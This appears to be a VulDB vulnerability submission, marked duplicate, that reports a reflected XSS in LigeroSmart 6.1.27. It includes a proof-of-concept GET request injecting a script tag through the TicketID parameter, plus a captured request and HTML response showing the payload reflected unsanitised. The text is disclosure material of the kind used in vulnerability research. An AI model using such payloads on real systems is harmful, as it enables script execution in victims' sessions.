| Título | LigeroSmart 6.1.27 Cross-Site Scripting vulnerability LigeroSmart version 6.1.27 |
|---|
| Descrição | A reflected Cross-Site Scripting (XSS) vulnerability was discovered in LigeroSmart version 6.1.27. The issue exists within the index.pl script due to insufficient sanitization of the TicketID parameter when the AgentTicketClose action is invoked. A remote attacker can exploit this by tricking a logged-in user into clicking a specially crafted link, leading to the execution of arbitrary JavaScript code in the victim's browser session.
Proof of Concept (PoC):
The following GET request demonstrates the vulnerability by injecting a script tag that triggers an alert box:
GET /otrs/index.pl?Action=AgentTicketClose;TicketID=11%27%22%3e%3cScRiPt%3ealert(1)%3c%2fScRiPt%3easd HTTP/1.1
Host: [TARGET_IP]
User-Agent: Mozilla/5.0
Cookie: OTRSAgentInterface=[VALID_SESSION_COOKIE]
Steps to reproduce:
Docker was installed and tests were performed
https://github.com/LigeroSmart/ligerosmart
Log in to the LigeroSmart agent interface.
Access the crafted URL containing the payload in the TicketID parameter.
The JavaScript alert(1) will execute in the context of the application.
REQUEST
GET /otrs/index.pl?Action=AgentTicketClose;TicketID=1%27%22%3e%3cScRiPt%3ealert(1)%3c%2fScRiPt%3easd HTTP/1.1
Host: localhost:9090
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: pt-BR,pt;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:9090/otrs/?Action=AgentTicketStatusView
Accept-Encoding: gzip, deflate, br
Cookie: OTRSAgentInterface=uptxH8G10zkazN3YJX4oUn2ED8RtGMOB
Connection: keep-alive
RESPONSE
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Disposition: filename="AgentTicketClose.html"
Content-Type: text/html; charset=utf-8;
Date: Mon, 26 Jan 2026 03:25:41 GMT
Expires: Tue, 1 Jan 1980 12:00:00 GMT
Pragma: no-cache
Server: nginx
X-Frame-Options: SAMEORIGIN
X-Ua-Compatible: IE=edge,chrome=1
Content-Length: 22479
<!DOCTYPE html>
<html>
<!-- -->
<!-- OTRS: Copyright (C) 2001-2020 OTRS AG, https://otrs.com/. -->
<!-- Web: https://otrs.com/ - Lists: https://lists.otrs.org/ -->
<!-- GNU General Public License: https://www.gnu.org/licenses/gpl-3.0.txt -->
<!-- -->
<head>
<meta http-equiv="Content-type" content="text/html;charset=utf-8" />
<meta id="viewport" name="viewport" content="">
<meta name="robots" content="noindex,nofollow" />
<script>
(function(doc, win) {
var viewport = doc.getElementById('viewport'),
isIFrame = (win.top.location.href !== win.location.href),
isPopup = (win.name.search(/^OTRSPopup_/) != -1);
try {
if (((!isIFrame && !isPopup) || (isIFrame && isPopup)) && (!localStorage.getItem("DesktopMode") || parseInt(localStorage.getItem("DesktopMode"), 10) <= 0)) {
viewport.setAttribute("content", "width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no");
}
}
catch (Exception) {}
}(document, window));
</script>
<link rel="search" type="application/opensearchdescription+xml" title="LigeroSmart (Ticket#)" href="/otrs/index.pl?Action=AgentTicketSearch;Subaction=OpenSearchDescriptionTicketNumber" />
<link rel="search" type="application/opensearchdescription+xml" title="LigeroSmart (Texto Completo)" href="/otrs/index.pl?Action=AgentTicketSearch;Subaction=OpenSearchDescriptionFulltext" />
<link rel="search" type="application/opensearchdescription+xml" title="LigeroSmart (FAQ#)" href="/otrs/index.pl?Action=AgentFAQSearch;Subaction=OpenSearchDescriptionFAQNumber" />
<link rel="search" type="application/opensearchdescription+xml" title="LigeroSmart (FAQ-TextoCompleto)" href="/otrs/index.pl?Action=AgentFAQSearch;Subaction=OpenSearchDescriptionFulltext" />
<link rel="shortcut icon" href="/otrs-web/skins/Agent/ligero/img/icons/product.ico" type="image/ico" />
<link rel="apple-touch-icon" href="/otrs-web/skins/Agent/ligero/img/icons/apple-touch-icon.png" />
<link rel="stylesheet" type="text/css" href="/otrs-web/skins/Agent/default/css-cache/CommonCSS_58d99bf049eab644adf1f2f6d94d8555.css" />
<link rel="stylesheet" type="text/css" href="/otrs-web/skins/Agent/ligero/css-cache/CommonCSS_9ccfdcfb580d3c1055590bb9f234fef7.css" />
<link rel="stylesheet" type="text/css" href="/otrs-web/skins/Agent/default/css/thirdparty/ui-theme/jquery-ui.css" />
<style type="text/css">
#Header #Logo {
background-image: url(/otrs-web/skins/Agent/default/img/logo_bg.png);
top: 7px;
right: 24px;
width: 300px;
height: 55px;
}
</style>
<link rel="stylesheet" type="text/css" href="/otrs-web/common/css/font-awesome.min.css" />
<script>
(function(doc, win) {
var isIFrame = (win.top.location.href !== win.location.href),
isPopup = (win.name.search(/^OTRSPopup_/) != -1);
try {
if (((!isIFrame && !isPopup) || (isIFrame && isPopup)) && (!localStorage.getItem("DesktopMode") || parseInt(localStorage.getItem("DesktopMode"), 10) <= 0)) {
var ResponsiveCSS;
ResponsiveCSS = doc.createElement("link");
ResponsiveCSS.setAttribute("rel", "stylesheet");
ResponsiveCSS.setAttribute("type", "text/css");
ResponsiveCSS.setAttribute("href", "/otrs-web/skins/Agent/default/css-cache/ResponsiveCSS_342832cd0dfa4f871e6b8d41435252e0.css");
doc.getElementsByTagName("head")[0].appendChild(ResponsiveCSS);
}
}
catch (Exception) {}
}(document, window));
</script>
<title>2026012510000018 - Fechar - Chamado - LigeroSmart</title>
<script type="text/javascript">//<![CDATA[
"use strict";
var Core = Core || {};
Core.App = Core.App || {};
/**
* @function
* Ignores an event. Implemented without jQuery because no external JavaScript is available yet.
* @return nothing
*/
function IgnoreEvent (Event) {
if (Event.preventDefault) {
Event.preventDefault();
}
Event.returnValue = false;
return false;
}
/**
* @function
* This function blocks all click events on the page until it is
* unblocked after all JavaScript was loaded. Implemented without
* jQuery because no external JavaScript is available yet.
* @return nothing
*/
Core.App.BlockEvents = function() {
if (document.addEventListener) {
document.addEventListener('click', IgnoreEvent, false);
}
else {
document.attachEvent('onclick', IgnoreEvent);
}
};
/**
* @function
* This function unblocks all click events on the page
* after all JavaScript was loaded. Implemented without
* jQuery because no external JavaScript is available yet.
* @return nothing
*/
Core.App.UnblockEvents = function() {
if (document.removeEventListener) {
document.removeEventListener('click', IgnoreEvent, false);
}
else {
document.detachEvent('onclick', IgnoreEvent);
}
// allow tests to wait for complete page load
Core.App.PageLoadComplete = true;
};
// Now block all click events on the page to make sure that
// an agent does not click before all JavaScript was loaded,
// as event listeners are not yet available, for example.
Core.App.BlockEvents();
//]]></script>
</head>
<body class="Popup">
<a name="Top"></a>
<div id="AppWrapper">
<form action="/otrs/index.pl" method="post" enctype="multipart/form-data" name="compose" id="Compose" class="Validate PreventMultipleSubmits"><input type="hidden" name="ChallengeToken" value="zc8kcIFDLUXy6De1hXeuHgUj9TSPqFVW"/>
<input type="hidden" name="Action" value="AgentTicketClose"/>
<input type="hidden" name="Subaction" value="Store"/>
<input type="hidden" name="TicketID" value="1"/>
<input type="hidden" name="ReplyToArticle" value=""/>
<input type="hidden" name="Expand" id="Expand" value=""/>
<input type="hidden" id="ImpactRC" name="ImpactRC" value="0"/>
<input type="hidden" id="PriorityRC" name="PriorityRC" value="0"/>
<input type="hidden" name="FormID" value="1769397941.12065823.898663"/>
<input type="hidden" name="FormDraftTitle" value=""/>
<input type="hidden" name="FormDraftID" value=""/>
<input type="hidden" name="FormDraftAction" id="FormDraftAction" />
<div class="LayoutPopup ARIARoleMain">
<div class="Header">
<h1>
Fechar Ticket#2026012510000018
— Bem-vindo ao LigeroSmart
</h1>
<p class="AsteriskExplanation">Todos os campos marcados com um asterisco (*) são obrigatórios.</p>
<p>
O chamado foi bloqueado.
<a class="UndoClosePopup" href="/otrs/index.pl?Action=AgentTicketLock;Subaction=Unlock;TicketID=1'"><ScRiPt>alert(1)</ScRiPt>asd;ChallengeToken=zc8kcIFDLUXy6De1hXeuHgUj9TSPqFVW;">
Desfazer e fechar
</a>
</p>
</div>
<div class="Content">
<div class="WidgetSimple Expanded">
<div class="Header">
<div class="WidgetAction Toggle">
<a href="#" title="Chavear este |
|---|
| Fonte | ⚠️ https://github.com/LigeroSmart/ligerosmart |
|---|
| Utilizador | Samara Gama - igobysamy (UID 81801) |
|---|
| Submissão | 26/01/2026 16h31 (há 8 meses) |
|---|
| Moderação | 15/02/2026 09h57 (20 days later) |
|---|
| Estado | Duplicado |
|---|
| Entrada VulDB | 341601 [LigeroSmart até 6.1.26 /otrs/index.pl TicketID Script de Site Cruzado] |
|---|
| Pontos | 0 |
|---|